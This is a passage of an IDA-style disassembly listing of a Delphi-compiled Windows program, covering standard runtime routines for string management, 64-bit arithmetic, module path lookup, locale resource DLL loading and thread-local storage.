retn sub_402B78 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402BC0 proc near ; CODE XREF: sub_4013A0+7Fp ; CODE:0040275Dp ... push ebx push esi push edi mov ebx, eax mov esi, edx xor edi, edi test edx, edx jle short loc_402C15 mov eax, [ebx] test eax, eax jz short loc_402BF6 cmp dword ptr [eax-8], 1 jnz short loc_402BF6 sub eax, 8 add edx, 9 push eax mov eax, esp call sub_401230 pop eax add eax, 8 mov [ebx], eax mov [eax-4], esi mov byte ptr [esi+eax], 0 jmp short loc_402C1E ; --------------------------------------------------------------------------- loc_402BF6: ; CODE XREF: sub_402BC0+11j ; sub_402BC0+17j mov eax, edx call sub_402688 mov edi, eax mov eax, [ebx] test eax, eax jz short loc_402C15 mov edx, edi mov ecx, [eax-4] cmp ecx, esi jl short loc_402C10 mov ecx, esi loc_402C10: ; CODE XREF: sub_402BC0+4Cj call sub_401340 loc_402C15: ; CODE XREF: sub_402BC0+Bj ; sub_402BC0+43j mov eax, ebx call sub_4025C8 mov [ebx], edi loc_402C1E: ; CODE XREF: sub_402BC0+34j pop edi pop esi pop ebx retn sub_402BC0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402C24 proc near ; CODE XREF: sub_406B98+158p mov edx, [eax] test edx, edx jz short locret_402C38 mov dword ptr [eax], 0 push eax push edx call sub_4011A0 pop eax locret_402C38: ; CODE XREF: sub_402C24+4j retn sub_402C24 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402C3C proc near ; CODE XREF: sub_401FB4+12p ; sub_402C70+B1p xor ecx, ecx push ebx mov cl, [edx+1] push esi push edi mov ebx, eax lea esi, [ecx+edx+0Ah] mov edi, [ecx+edx+6] loc_402C4E: ; CODE XREF: sub_402C3C+29j mov edx, [esi] mov eax, [esi+4] add eax, ebx mov edx, [edx] mov ecx, 1 call sub_402C70 add esi, 8 dec edi jg short loc_402C4E mov eax, ebx pop edi pop esi pop ebx retn sub_402C3C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402C70 proc near ; CODE XREF: sub_402C3C+20p ; sub_402C70+9Bp ... cmp ecx, 0 jz locret_402D5B push eax push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx xor edx, edx mov al, [esi] mov dl, [esi+1] cmp al, 0Ah jz short loc_402CB3 cmp al, 0Bh jz short loc_402CD0 cmp al, 0Ch jz short loc_402CE9 cmp al, 0Dh jz short loc_402CF8 cmp al, 0Eh jz short loc_402D16 cmp al, 0Fh jz loc_402D2C cmp al, 11h jz loc_402D3B jmp loc_402D4C ; --------------------------------------------------------------------------- loc_402CB3: ; CODE XREF: sub_402C70+1Cj cmp ecx, 1 mov eax, ebx jg short loc_402CC4 call sub_4025C8 jmp loc_402D57 ; --------------------------------------------------------------------------- loc_402CC4: ; CODE XREF: sub_402C70+48j mov edx, ecx call sub_4025EC jmp loc_402D57 ; --------------------------------------------------------------------------- loc_402CD0: ; CODE XREF: sub_402C70+20j cmp ecx, 1 mov eax, ebx jg short loc_402CDF call ds:off_40902C jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402CDF: ; CODE XREF: sub_402C70+65j mov edx, ecx call ds:off_409030 jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402CE9: ; CODE XREF: sub_402C70+24j ; sub_402C70+84j mov eax, ebx add ebx, 10h call sub_402DB0 dec edi jg short loc_402CE9 jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402CF8: ; CODE XREF: sub_402C70+28j push ebp mov ebp, edx loc_402CFB: ; CODE XREF: sub_402C70+A1j mov edx, [esi+ebp+0Ah] mov eax, ebx add ebx, [esi+ebp+2] mov ecx, [esi+ebp+6] mov edx, [edx] call sub_402C70 dec edi jg short loc_402CFB pop ebp jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402D16: ; CODE XREF: sub_402C70+2Cj push ebp mov ebp, edx loc_402D19: ; CODE XREF: sub_402C70+B7j mov eax, ebx add ebx, [esi+ebp+2] mov edx, esi call sub_402C3C dec edi jg short loc_402D19 pop ebp jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402D2C: ; CODE XREF: sub_402C70+30j ; sub_402C70+C7j mov eax, ebx add ebx, 4 call sub_403398 dec edi jg short loc_402D2C jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402D3B: ; CODE XREF: sub_402C70+38j ; sub_402C70+D8j mov eax, ebx mov edx, esi add ebx, 4 call sub_402E80 dec edi jg short loc_402D3B jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402D4C: ; CODE XREF: sub_402C70+3Ej pop edi pop esi pop ebx pop eax mov al, 2 jmp loc_4012D8 ; --------------------------------------------------------------------------- loc_402D57: ; CODE XREF: sub_402C70+4Fj ; sub_402C70+5Bj ... pop edi pop esi pop ebx pop eax locret_402D5B: ; CODE XREF: sub_402C70+3j retn sub_402C70 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_402D60 proc near ; CODE XREF: sub_402D68+Fp sub_402DA8j ; DATA XREF: ... mov al, 10h jmp loc_4012D8 sub_402D60 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402D68 proc near ; CODE XREF: sub_402DA0j ; DATA XREF: sub_402D80+14o ... mov ax, [eax] sub ax, 2 jb short locret_402D7C sub ax, 8 jz short locret_402D7C call sub_402D60 locret_402D7C: ; CODE XREF: sub_402D68+7j ; sub_402D68+Dj retn sub_402D68 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402D80 proc near ; CODE XREF: sub_403450+1Dp mov edx, offset off_40A5DC xor eax, eax loc_402D87: ; CODE XREF: sub_402D80+12j mov dword ptr [edx+eax*4], offset sub_402D60 inc eax cmp eax, 2Bh jnz short loc_402D87 mov eax, offset sub_402D68 mov ds:off_40A5DC, eax retn sub_402D80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402DA0 proc near ; CODE XREF: sub_402DB0+1p jmp ds:off_40A5DC sub_402DA0 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402DA8 proc near ; CODE XREF: sub_4046AC+Ap jmp ds:off_40A608 sub_402DA8 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402DB0 proc near ; CODE XREF: sub_402C70+7Ep push eax call sub_402DA0 pop eax retn sub_402DB0 endp ; =============== S U B R O U T I N E ======================================= sub_402DB8 proc near ; DATA XREF: sub_403450+13o ; BSS:off_40A000o mov al, 11h jmp loc_4012D8 sub_402DB8 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402DC0 proc near ; CODE XREF: sub_404520+43p ; sub_404520+5Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edx push eax mov eax, [esp+8+arg_4] mul [esp+8+var_8] mov ecx, eax mov eax, [esp+8+var_4] mul [esp+8+arg_0] add ecx, eax mov eax, [esp+8+var_8] mul [esp+8+arg_0] add edx, ecx pop ecx pop ecx retn 8 sub_402DC0 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402DE4 proc near ; CODE XREF: sub_4048B9+38p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push ebx push esi push edi mov ebx, [esp+10h+arg_0] mov ecx, [esp+10h+arg_4] or ecx, ecx jnz short loc_402DFC or edx, edx jz short loc_402E27 or ebx, ebx jz short loc_402E27 loc_402DFC: ; CODE XREF: sub_402DE4+Ej mov ebp, ecx mov ecx, 40h xor edi, edi xor esi, esi loc_402E07: ; CODE XREF: sub_402DE4:loc_402E1Ej shl eax, 1 rcl edx, 1 rcl esi, 1 rcl edi, 1 cmp edi, ebp jb short loc_402E1E ja short loc_402E19 cmp esi, ebx jb short loc_402E1E loc_402E19: ; CODE XREF: sub_402DE4+2Fj sub esi, ebx sbb edi, ebp inc eax loc_402E1E: ; CODE XREF: sub_402DE4+2Dj ; sub_402DE4+33j loop loc_402E07 loc_402E20: ; CODE XREF: sub_402DE4+47j pop edi pop esi pop ebx pop ebp retn 8 ; --------------------------------------------------------------------------- loc_402E27: ; CODE XREF: sub_402DE4+12j ; sub_402DE4+16j div ebx xor edx, edx jmp short loc_402E20 sub_402DE4 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402E30 proc near ; CODE XREF: sub_4048B9+15p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push ebx push esi push edi mov ebx, [esp+10h+arg_0] mov ecx, [esp+10h+arg_4] or ecx, ecx jnz short loc_402E48 or edx, edx jz short loc_402E77 or ebx, ebx jz short loc_402E77 loc_402E48: ; CODE XREF: sub_402E30+Ej mov ebp, ecx mov ecx, 40h xor edi, edi xor esi, esi loc_402E53: ; CODE XREF: sub_402E30:loc_402E6Aj shl eax, 1 rcl edx, 1 rcl esi, 1 rcl edi, 1 cmp edi, ebp jb short loc_402E6A ja short loc_402E65 cmp esi, ebx jb short loc_402E6A loc_402E65: ; CODE XREF: sub_402E30+2Fj sub esi, ebx sbb edi, ebp inc eax loc_402E6A: ; CODE XREF: sub_402E30+2Dj ; sub_402E30+33j loop loc_402E53 mov eax, esi mov edx, edi loc_402E70: ; CODE XREF: sub_402E30+4Cj pop edi pop esi pop ebx pop ebp retn 8 ; --------------------------------------------------------------------------- loc_402E77: ; CODE XREF: sub_402E30+12j ; sub_402E30+16j div ebx xchg eax, edx xor edx, edx jmp short loc_402E70 sub_402E30 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402E80 proc near ; CODE XREF: sub_402C70+D2p ; sub_406B98+85p ... mov ecx, [eax] test ecx, ecx jz short locret_402EB8 mov dword ptr [eax], 0 dec dword ptr [ecx-8] jnz short locret_402EB8 push eax mov eax, ecx xor ecx, ecx mov cl, [edx+1] mov edx, [ecx+edx+6] test edx, edx jz short loc_402EAF mov ecx, [eax-4] test ecx, ecx jz short loc_402EAF mov edx, [edx] call sub_402C70 loc_402EAF: ; CODE XREF: sub_402E80+1Fj ; sub_402E80+26j sub eax, 8 call sub_401218 pop eax locret_402EB8: ; CODE XREF: sub_402E80+4j ; sub_402E80+Fj retn sub_402E80 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402EBC proc near ; CODE XREF: sub_402F04+1Bp var_110 = byte ptr -110h push ebx push esi add esp, 0FFFFFEF8h mov ebx, eax cmp dword ptr [ebx+10h], 0 jnz short loc_402EF7 push 105h lea eax, [esp+114h+var_110] push eax mov eax, [ebx+4] push eax call sub_401088 ; GetModuleFileNameA mov eax, esp mov dl, 1 call sub_4030F8 mov esi, eax mov [ebx+10h], esi test esi, esi jnz short loc_402EF7 mov eax, [ebx+4] mov [ebx+10h], eax loc_402EF7: ; CODE XREF: sub_402EBC+Ej ; sub_402EBC+33j mov eax, [ebx+10h] add esp, 108h pop esi pop ebx retn sub_402EBC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402F04 proc near ; CODE XREF: sub_4033B0+2Bp ; CODE:00405794p ... mov edx, ds:off_409020 test edx, edx jz short locret_402F2B loc_402F0E: ; CODE XREF: sub_402F04+25j cmp eax, [edx+4] jz short loc_402F1D cmp eax, [edx+8] jz short loc_402F1D cmp eax, [edx+0Ch] jnz short loc_402F25 loc_402F1D: ; CODE XREF: sub_402F04+Dj ; sub_402F04+12j mov eax, edx call sub_402EBC retn ; --------------------------------------------------------------------------- loc_402F25: ; CODE XREF: sub_402F04+17j mov edx, [edx] test edx, edx jnz short loc_402F0E locret_402F2B: ; CODE XREF: sub_402F04+8j retn sub_402F04 endp ; =============== S U B R O U T I N E ======================================= sub_402F2C proc near ; CODE XREF: sub_402F40+83p ; sub_402F40+96p ... jmp short loc_402F34 ; --------------------------------------------------------------------------- loc_402F2E: ; CODE XREF: sub_402F2C+11j push eax call sub_401120 ; CharNextA loc_402F34: ; CODE XREF: sub_402F2Cj mov dl, [eax] test dl, dl jz short locret_402F3F cmp dl, 5Ch jnz short loc_402F2E locret_402F3F: ; CODE XREF: sub_402F2C+Cj retn sub_402F2C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402F40 proc near ; CODE XREF: sub_4030F8+A3p var_24F = byte ptr -24Fh var_14A = byte ptr -14Ah var_11E = byte ptr -11Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFDB0h push ebx push esi push edi mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_C], eax push offset dword_4030D4 call sub_401090 ; GetModuleHandleA mov esi, eax test esi, esi jz short loc_402FA8 push offset aGetlongpathnam ; "GetLongPathNameA" push esi call sub_401150 ; GetProcAddress mov ebx, eax test ebx, ebx jz short loc_402FA8 push 105h lea eax, [ebp+var_24F] push eax mov eax, [ebp+var_4] push eax call ebx test eax, eax jz short loc_402FA8 mov eax, [ebp+var_8] push eax lea eax, [ebp+var_24F] push eax mov eax, [ebp+var_4] push eax call sub_401170 ; lstrcpynA jmp loc_4030CA ; --------------------------------------------------------------------------- loc_402FA8: ; CODE XREF: sub_402F40+26j ; sub_402F40+37j ... mov eax, [ebp+var_4] cmp byte ptr [eax], 5Ch jnz short loc_402FE8 mov eax, [ebp+var_4] cmp byte ptr [eax+1], 5Ch jnz loc_4030CA mov eax, [ebp+var_4] add eax, 2 call sub_402F2C mov esi, eax cmp byte ptr [esi], 0 jz loc_4030CA lea eax, [esi+1] call sub_402F2C mov esi, eax cmp byte ptr [esi], 0 jz loc_4030CA jmp short loc_402FEE ; --------------------------------------------------------------------------- loc_402FE8: ; CODE XREF: sub_402F40+6Ej mov esi, [ebp+var_4] add esi, 2 loc_402FEE: ; CODE XREF: sub_402F40+A6j mov ebx, esi sub ebx, [ebp+var_4] lea eax, [ebx+1] push eax mov eax, [ebp+var_4] push eax lea eax, [ebp+var_24F] push eax call sub_401170 ; lstrcpynA jmp loc_4030AD ; --------------------------------------------------------------------------- loc_40300C: ; CODE XREF: sub_402F40+170j lea eax, [esi+1] call sub_402F2C mov edi, eax mov eax, edi sub eax, esi mov edx, eax add edx, ebx inc edx cmp edx, 105h jg loc_4030CA inc eax push eax push esi lea eax, [ebp+var_24F] add eax, ebx push eax call sub_401170 ; lstrcpynA lea eax, [ebp+var_14A] push eax lea eax, [ebp+var_24F] push eax call sub_401138 ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4030CA push esi call sub_401130 ; FindClose lea eax, [ebp+var_11E] push eax call sub_401178 ; lstrlenA lea edx, [ebx+1] add eax, edx inc eax cmp eax, 105h jg short loc_4030CA mov [ebp+ebx+var_24F], 5Ch mov eax, 105h sub eax, ebx dec eax push eax lea eax, [ebp+var_11E] push eax lea eax, [ebp+var_24F] add eax, ebx inc eax push eax call sub_401170 ; lstrcpynA lea eax, [ebp+var_11E] push eax call sub_401178 ; lstrlenA inc eax add ebx, eax mov esi, edi loc_4030AD: ; CODE XREF: sub_402F40+C7j cmp byte ptr [esi], 0 jnz loc_40300C mov eax, [ebp+var_8] push eax lea eax, [ebp+var_24F] push eax mov eax, [ebp+var_4] push eax call sub_401170 ; lstrcpynA loc_4030CA: ; CODE XREF: sub_402F40+63j ; sub_402F40+77j ... mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_402F40 endp ; --------------------------------------------------------------------------- dword_4030D4 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0aGetlongpathnam db 'GetLongPathNameA',0 ; DATA XREF: sub_402F40+28o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030F8 proc near ; CODE XREF: sub_402EBC+27p var_11D = byte ptr -11Dh var_18 = dword ptr -18h var_12 = byte ptr -12h var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_B = byte ptr -0Bh var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEE0h push ebx push esi mov [ebp+var_4], eax push 105h lea eax, [ebp+var_11D] push eax push 0 call sub_401088 ; GetModuleFileNameA mov [ebp+var_12], 0 lea eax, [ebp+var_8] push eax push 0F0019h push 0 push offset aSoftwareBorlan ; "Software\\Borland\\Locales" push 80000001h call sub_401188 ; RegOpenKeyExA test eax, eax jz short loc_40317B lea eax, [ebp+var_8] push eax push 0F0019h push 0 push offset aSoftwareBorlan ; "Software\\Borland\\Locales" push 80000002h call sub_401188 ; RegOpenKeyExA test eax, eax jz short loc_40317B lea eax, [ebp+var_8] push eax push 0F0019h push 0 push offset aSoftwareBorl_0 ; "Software\\Borland\\Delphi\\Locales" push 80000001h call sub_401188 ; RegOpenKeyExA test eax, eax jnz loc_403204 loc_40317B: ; CODE XREF: sub_4030F8+41j ; sub_4030F8+5Fj xor eax, eax push ebp push offset loc_4031FD push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_18], 5 lea eax, [ebp+var_11D] mov edx, 105h call sub_402F40 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_12] push eax push 0 push 0 lea eax, [ebp+var_11D] push eax mov eax, [ebp+var_8] push eax call sub_401190 ; RegQueryValueExA test eax, eax jz short loc_4031E2 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_12] push eax push 0 push 0 push offset dword_403364 mov eax, [ebp+var_8] push eax call sub_401190 ; RegQueryValueExA test eax, eax jz short loc_4031E2 mov [ebp+var_12], 0 loc_4031E2: ; CODE XREF: sub_4030F8+C6j ; sub_4030F8+E4j mov [ebp+var_E], 0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403204 loc_4031F3: ; CODE XREF: sub_4030F8+10Aj mov eax, [ebp+var_8] push eax call sub_401180 ; RegCloseKey retn ; --------------------------------------------------------------------------- loc_4031FD: ; DATA XREF: sub_4030F8+86o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4031F3 ; --------------------------------------------------------------------------- loc_403204: ; CODE XREF: sub_4030F8+7Dj ; DATA XREF: sub_4030F8+F6o push 105h mov eax, [ebp+var_4] push eax lea eax, [ebp+var_11D] push eax call sub_401170 ; lstrcpynA push 5 lea eax, [ebp+var_D] push eax push 3 call sub_401158 ; GetThreadLocale push eax call sub_401148 ; GetLocaleInfoA xor esi, esi cmp [ebp+var_11D], 0 jz loc_40331E cmp [ebp+var_D], 0 jnz short loc_40324B cmp [ebp+var_12], 0 jz loc_40331E loc_40324B: ; CODE XREF: sub_4030F8+147j lea eax, [ebp+var_11D] push eax call sub_401178 ; lstrlenA mov ebx, eax lea eax, [ebp+var_11D] add ebx, eax jmp short loc_403264 ; --------------------------------------------------------------------------- loc_403263: ; CODE XREF: sub_4030F8+179j dec ebx loc_403264: ; CODE XREF: sub_4030F8+169j cmp byte ptr [ebx], 2Eh jz short loc_403273 lea eax, [ebp+var_11D] cmp ebx, eax jnz short loc_403263 loc_403273: ; CODE XREF: sub_4030F8+16Fj lea eax, [ebp+var_11D] cmp ebx, eax jz loc_40331E inc ebx cmp [ebp+var_12], 0 jz short loc_4032B0 mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax lea eax, [ebp+var_12] push eax push ebx call sub_401170 ; lstrcpynA push 2 push 0 lea eax, [ebp+var_11D] push eax call sub_401160 ; LoadLibraryExA mov esi, eax loc_4032B0: ; CODE XREF: sub_4030F8+18Ej test esi, esi jnz short loc_40331E cmp [ebp+var_D], 0 jz short loc_40331E lea eax, [ebp+var_11D] mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax lea eax, [ebp+var_D] push eax push ebx call sub_401170 ; lstrcpynA push 2 push 0 lea eax, [ebp+var_11D] push eax call sub_401160 ; LoadLibraryExA mov esi, eax test esi, esi jnz short loc_40331E mov [ebp+var_B], 0 lea eax, [ebp+var_11D] mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax lea eax, [ebp+var_D] push eax push ebx call sub_401170 ; lstrcpynA push 2 push 0 lea eax, [ebp+var_11D] push eax call sub_401160 ; LoadLibraryExA mov esi, eax loc_40331E: ; CODE XREF: sub_4030F8+13Dj ; sub_4030F8+14Dj ... mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_4030F8 endp ; --------------------------------------------------------------------------- align 4 aSoftwareBorlan db 'Software\Borland\Locales',0 ; DATA XREF: sub_4030F8+30o ; sub_4030F8+4Eo align 4 aSoftwareBorl_0 db 'Software\Borland\Delphi\Locales',0 ; DATA XREF: sub_4030F8+6Co dword_403364 dd 0 ; =============== S U B R O U T I N E ======================================= sub_403368 proc near ; CODE XREF: sub_403518+5p mov edx, ds:off_409020 mov [eax], edx mov ds:off_409020, eax retn sub_403368 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_403378 proc near ; CODE XREF: sub_4024E0+66p ; DATA XREF: DATA:off_409028o push ebx push esi mov esi, eax mov ebx, ds:dword_409024 test ebx, ebx jz short loc_403392 loc_403386: ; CODE XREF: sub_403378+18j mov eax, [esi+4] call dword ptr [ebx+4] mov ebx, [ebx] test ebx, ebx jnz short loc_403386 loc_403392: ; CODE XREF: sub_403378+Cj pop esi pop ebx retn sub_403378 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_403398 proc near ; CODE XREF: sub_402C70+C1p mov edx, [eax] test edx, edx jz short locret_4033AC mov dword ptr [eax], 0 push eax push edx mov eax, [edx] call dword ptr [eax+8] pop eax locret_4033AC: ; CODE XREF: sub_403398+4j retn sub_403398 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4033B0 proc near ; CODE XREF: sub_402464+16p ; sub_4051B0+2Ep ... var_408 = byte ptr -408h push ebx push esi add esp, 0FFFFFC00h mov esi, edx mov ebx, eax test ebx, ebx jz short loc_4033FD cmp dword ptr [ebx+4], 10000h jge short loc_4033F3 push 400h lea eax, [esp+40Ch+var_408] push eax mov eax, [ebx+4] push eax mov eax, [ebx] mov eax, [eax] call sub_402F04 push eax call sub_401168 ; LoadStringA mov ecx, eax mov edx, esp mov eax, esi call sub_4026B4 jmp short loc_4033FD ; --------------------------------------------------------------------------- loc_4033F3: ; CODE XREF: sub_4033B0+17j mov eax, esi mov edx, [ebx+4] call sub_40279C loc_4033FD: ; CODE XREF: sub_4033B0+Ej ; sub_4033B0+41j add esp, 400h pop esi pop ebx retn sub_4033B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403408 proc near ; DATA XREF: CODE:00407B34o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_403444 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A5A4 jnz short loc_403436 cmp ds:dword_40A5D8, 0 jz short loc_403430 call ds:dword_40A5D8 loc_403430: ; CODE XREF: sub_403408+20j call ds:off_409040 loc_403436: ; CODE XREF: sub_403408+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40344B loc_403443: ; CODE XREF: sub_403408+41j retn ; --------------------------------------------------------------------------- loc_403444: ; DATA XREF: sub_403408+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_403443 ; --------------------------------------------------------------------------- loc_40344B: ; CODE XREF: sub_403408:loc_403443j ; DATA XREF: sub_403408+36o pop ebp retn sub_403408 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_403450 proc near ; DATA XREF: CODE:00407B30o sub ds:dword_40A5A4, 1 jnb short locret_40347C call sub_401060 ; GetProcessHeap mov ds:dword_40A5A8, eax mov ds:off_40A000, offset sub_402DB8 call sub_402D80 call sub_4011A8 ; GetCurrentThreadId mov ds:dword_40A030, eax locret_40347C: ; CODE XREF: sub_403450+7j retn sub_403450 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_403480 proc near ; CODE XREF: sub_403494+21p push eax push 40h call sub_401098 ; LocalAlloc retn sub_403480 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40348C proc near ; CODE XREF: sub_403494+1p mov eax, 8 retn sub_40348C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_403494 proc near ; CODE XREF: sub_4034D8:loc_4034F2p push ebx call sub_40348C mov ebx, eax test ebx, ebx jz short loc_4034D6 cmp ds:TlsIndex, 0FFFFFFFFh jnz short loc_4034B3 mov eax, 0E2h call sub_4025BC ; --------------------------------------------------------------------------- loc_4034B3: ; CODE XREF: sub_403494+13j mov eax, ebx call sub_403480 test eax, eax jnz short loc_4034CA mov eax, 0E2h call sub_4025BC ; --------------------------------------------------------------------------- jmp short loc_4034D6 ; --------------------------------------------------------------------------- loc_4034CA: ; CODE XREF: sub_403494+28j push eax mov eax, ds:TlsIndex push eax call sub_4010A8 ; TlsSetValue loc_4034D6: ; CODE XREF: sub_403494+Aj ; sub_403494+34j pop ebx retn sub_403494 endp ; =============== S U B R O U T I N E ======================================= sub_4034D8 proc near ; CODE XREF: sub_40128C+20p ; sub_4012E4+3p ... mov cl, ds:byte_40A688 mov eax, ds:TlsIndex test cl, cl jnz short loc_40350D mov edx, large fs:2Ch mov eax, [edx+eax*4] retn ; --------------------------------------------------------------------------- loc_4034F2: ; CODE XREF: sub_4034D8+3Dj call sub_403494 mov eax, ds:TlsIndex push eax call sub_4010A0 ; TlsGetValue test eax, eax jz short loc_403507 retn ; --------------------------------------------------------------------------- loc_403507: ; CODE XREF: sub_4034D8+2Cj mov eax, ds:dword_40A69C retn ; --------------------------------------------------------------------------- loc_40350D: ; CODE XREF: sub_4034D8+Dj push eax call sub_4010A0 ; TlsGetValue test eax, eax jz short loc_4034F2 retn sub_4034D8 endp ; =============== S U B R O U T I N E ======================================= sub_403518 proc near ; CODE XREF: sub_403524+2Ep mov eax, offset dword_409094 call sub_403368 retn sub_403518 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_403524 proc near ; CODE XREF: CODE:00407B87p push ebx mov ebx, eax xor eax, eax mov ds:TlsIndex, eax push 0 call sub_401090 ; GetModuleHandleA mov ds:dword_40A694, eax mov eax, ds:dword_40A694 mov ds:dword_409098, eax xor eax, eax mov ds:dword_40909C, eax xor eax, eax mov ds:dword_4090A0, eax call sub_403518 mov edx, offset dword_409094 mov eax, ebx call sub_402428 pop ebx retn sub_403524 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403568 proc near ; DATA XREF: CODE:00407B2Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40358D push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A698 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403594 loc_40358C: ; CODE XREF: sub_403568+2Aj retn ; --------------------------------------------------------------------------- loc_40358D: ; DATA XREF: sub_403568+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_40358C ; --------------------------------------------------------------------------- loc_403594: ; CODE XREF: sub_403568:loc_40358Cj ; DATA XREF: sub_403568+1Fo pop ebp retn sub_403568 endp ; --------------------------------------------------------------------------- align 4 loc_403598: ; DATA XREF: CODE:off_407B28o sub ds:dword_40A698, 1 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4035A0 proc near ; DATA XREF: CODE:00407B3Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_4035C5 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A6A0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4035CC loc_4035C4: ; CODE XREF: sub_4035A0+2Aj retn ; --------------------------------------------------------------------------- loc_4035C5: ; DATA XREF: sub_4035A0+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4035C4 ; --------------------------------------------------------------------------- loc_4035CC: ; CODE XREF: sub_4035A0:loc_4035C4j ; DATA XREF: sub_4035A0+1Fo pop ebp retn sub_4035A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4035D0 proc near ; DATA XREF: CODE:00407B38o sub ds:dword_40A6A0, 1 retn sub_4035D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4035D8 proc near ; CODE XREF: sub_406FBC+3Dp jmp ds:dword_40B194 sub_4035D8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4035E0 proc near ; CODE XREF: CODE:00407E53p jmp ds:dword_40B1F4 sub_4035E0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4035E8 proc near ; CODE XREF: sub_4053C4+53p ; sub_4053C4+7Cp jmp ds:dword_40B1F0 sub_4035E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4035F0 proc near ; CODE XREF: sub_404420+50p jmp ds:dword_40B1EC sub_4035F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4035F8 proc near ; CODE 